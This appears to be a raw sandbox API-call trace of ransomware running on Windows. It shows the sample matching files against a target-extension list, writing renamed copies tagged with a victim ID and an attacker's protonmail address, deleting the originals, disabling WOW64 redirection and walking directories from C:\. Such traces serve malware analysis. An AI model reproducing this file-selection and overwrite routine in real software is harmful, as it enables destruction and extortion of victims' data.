	[0204.541] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0204.541] lstrlenW (lpString=".dbf") returned 4
	[0204.541] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0204.541] lstrlenW (lpString=".1cd") returned 4
	[0204.541] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86
	[0204.541] lstrlenW (lpString=".jpg") returned 4
	[0204.542] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.542] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0204.542] lstrlenW (lpString="O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 33
	[0204.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.542] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=24369) returned 1
	[0204.543] CloseHandle (hObject=0x5d0) returned 1
	[0204.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms")) returned 0x220
	[0204.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.543] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.543] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0204.544] GetLastError () returned 0x0
	[0204.544] ReadFile (in: hFile=0x5d0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x5f31, lpOverlapped=0x0) returned 1
	[0204.547] WriteFile (in: hFile=0x484, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0204.548] ReadFile (in: hFile=0x5d0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.548] WriteFile (in: hFile=0x484, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x116, lpOverlapped=0x0) returned 1
	[0204.548] SetEndOfFile (hFile=0x484) returned 1
	[0204.549] CloseHandle (hObject=0x484) returned 1
	[0204.549] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.549] SetEndOfFile (hFile=0x5d0) returned 1
	[0204.557] CloseHandle (hObject=0x5d0) returned 1
	[0204.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms")) returned 1
	[0204.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0204.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0204.559] lstrlenW (lpString=".doc") returned 4
	[0204.559] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.559] lstrlenW (lpString=".docx") returned 5
	[0204.559] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.559] lstrlenW (lpString=".pdf") returned 4
	[0204.559] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.559] lstrlenW (lpString=".xls") returned 4
	[0204.559] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.559] lstrlenW (lpString=".xlsx") returned 5
	[0204.559] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.559] lstrlenW (lpString=".ppt") returned 4
	[0204.559] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0204.559] lstrlenW (lpString=".zip") returned 4
	[0204.559] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.559] lstrlenW (lpString=".rar") returned 4
	[0204.559] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.559] lstrlenW (lpString=".bz2") returned 4
	[0204.559] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.559] lstrlenW (lpString=".7z") returned 3
	[0204.559] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0204.559] lstrlenW (lpString=".dbf") returned 4
	[0204.559] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0204.559] lstrlenW (lpString=".1cd") returned 4
	[0204.559] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0204.559] lstrlenW (lpString=".jpg") returned 4
	[0204.559] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0204.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0204.560] lstrlenW (lpString=".doc") returned 4
	[0204.560] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.560] lstrlenW (lpString=".docx") returned 5
	[0204.560] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.560] lstrlenW (lpString=".pdf") returned 4
	[0204.560] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.560] lstrlenW (lpString=".xls") returned 4
	[0204.560] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.560] lstrlenW (lpString=".xlsx") returned 5
	[0204.560] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.560] lstrlenW (lpString=".ppt") returned 4
	[0204.560] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0204.560] lstrlenW (lpString=".zip") returned 4
	[0204.560] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.560] lstrlenW (lpString=".rar") returned 4
	[0204.560] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.560] lstrlenW (lpString=".bz2") returned 4
	[0204.560] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.560] lstrlenW (lpString=".7z") returned 3
	[0204.560] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0204.560] lstrlenW (lpString=".dbf") returned 4
	[0204.560] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0204.560] lstrlenW (lpString=".1cd") returned 4
	[0204.560] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0204.560] lstrlenW (lpString=".jpg") returned 4
	[0204.560] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.790] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0204.790] lstrlenW (lpString="O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 36
	[0204.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0204.889] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11630) returned 1
	[0204.889] CloseHandle (hObject=0x434) returned 1
	[0204.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms")) returned 0x220
	[0204.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0204.890] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.890] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0204.891] GetLastError () returned 0x0
	[0204.891] ReadFile (in: hFile=0x434, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0204.894] WriteFile (in: hFile=0x580, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0204.895] ReadFile (in: hFile=0x434, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.895] WriteFile (in: hFile=0x580, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x11c, lpOverlapped=0x0) returned 1
	[0204.895] SetEndOfFile (hFile=0x580) returned 1
	[0204.896] CloseHandle (hObject=0x580) returned 1
	[0204.896] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.896] SetEndOfFile (hFile=0x434) returned 1
	[0204.898] CloseHandle (hObject=0x434) returned 1
	[0204.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms")) returned 1
	[0204.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0204.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0204.900] lstrlenW (lpString=".doc") returned 4
	[0204.900] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.900] lstrlenW (lpString=".docx") returned 5
	[0204.900] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.900] lstrlenW (lpString=".pdf") returned 4
	[0204.900] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.900] lstrlenW (lpString=".xls") returned 4
	[0204.900] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.900] lstrlenW (lpString=".xlsx") returned 5
	[0204.900] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.900] lstrlenW (lpString=".ppt") returned 4
	[0204.900] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0204.900] lstrlenW (lpString=".zip") returned 4
	[0204.900] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.900] lstrlenW (lpString=".rar") returned 4
	[0204.900] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.900] lstrlenW (lpString=".bz2") returned 4
	[0204.900] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.900] lstrlenW (lpString=".7z") returned 3
	[0204.900] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0204.901] lstrlenW (lpString=".dbf") returned 4
	[0204.901] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0204.901] lstrlenW (lpString=".1cd") returned 4
	[0204.901] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0204.901] lstrlenW (lpString=".jpg") returned 4
	[0204.901] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0204.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0204.901] lstrlenW (lpString=".doc") returned 4
	[0204.901] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.901] lstrlenW (lpString=".docx") returned 5
	[0204.901] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.901] lstrlenW (lpString=".pdf") returned 4
	[0204.901] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.901] lstrlenW (lpString=".xls") returned 4
	[0204.901] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.901] lstrlenW (lpString=".xlsx") returned 5
	[0204.901] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.901] lstrlenW (lpString=".ppt") returned 4
	[0204.901] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0204.901] lstrlenW (lpString=".zip") returned 4
	[0204.901] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.901] lstrlenW (lpString=".rar") returned 4
	[0204.901] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.901] lstrlenW (lpString=".bz2") returned 4
	[0204.901] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.901] lstrlenW (lpString=".7z") returned 3
	[0204.901] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0204.902] lstrlenW (lpString=".dbf") returned 4
	[0204.902] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0204.902] lstrlenW (lpString=".1cd") returned 4
	[0204.902] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0204.902] lstrlenW (lpString=".jpg") returned 4
	[0204.902] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.902] lstrlenW (lpString=".id-") returned 4
	[0204.902] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673188 | out: hHeap=0x610000) returned 1
	[0204.902] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbd78 | out: hHeap=0x610000) returned 1
	[0204.902] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3dc0938 | out: hHeap=0x610000) returned 1
	[0204.904] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3dd0940 | out: hHeap=0x610000) returned 1
	[0204.904] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3fbb020 | out: hHeap=0x610000) returned 1
	[0204.916] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673170 | out: hHeap=0x610000) returned 1
	[0204.916] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x44415f8
	[0204.916] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44415f8, Size=0x20) returned 0x6683d0
	[0204.916] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x44414a8
	[0204.917] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44414a8, Size=0x20) returned 0x668600
	[0204.917] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0204.917] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0204.917] Wow64DisableWow64FsRedirection (in: OldValue=0x33cff50 | out: OldValue=0x33cff50*=0x1) returned 1
	[0204.917] lstrlenW (lpString="kernel32.dll") returned 12
	[0204.917] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x668600 | out: hHeap=0x610000) returned 1
	[0204.917] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0204.917] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6683d0 | out: hHeap=0x610000) returned 1

Thread:
	id = 46
	os_tid = 0xdc8

	[0165.131] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3de0948
	[0165.132] lstrlenW (lpString="C:") returned 2
	[0165.132] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x350fcf8 | out: lpFindFileData=0x350fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x6ac118
	[0165.132] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0165.132] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0165.132] lstrlenW (lpString="$GetCurrent") returned 11
	[0165.132] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0165.132] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3df0950
	[0165.133] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0165.133] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6abc58
	[0165.141] FindNextFileW (in: hFindFile=0x6abc58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0165.141] FindNextFileW (in: hFindFile=0x6abc58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0165.141] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0165.141] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0165.141] lstrlenW (lpString="Logs") returned 4
	[0165.141] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0165.141] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3e20968
	[0165.142] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0165.142] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff243, dwReserved1=0x313, cFileName=".", cAlternateFileName="")) returned 0x6abe58
	[0165.159] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff243, dwReserved1=0x313, cFileName="..", cAlternateFileName="")) returned 1
	[0165.159] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031d0cb, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8031d0cb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80343360, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xfffff243, dwReserved1=0x313, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="DOWNLE~1.HTM")) returned 1
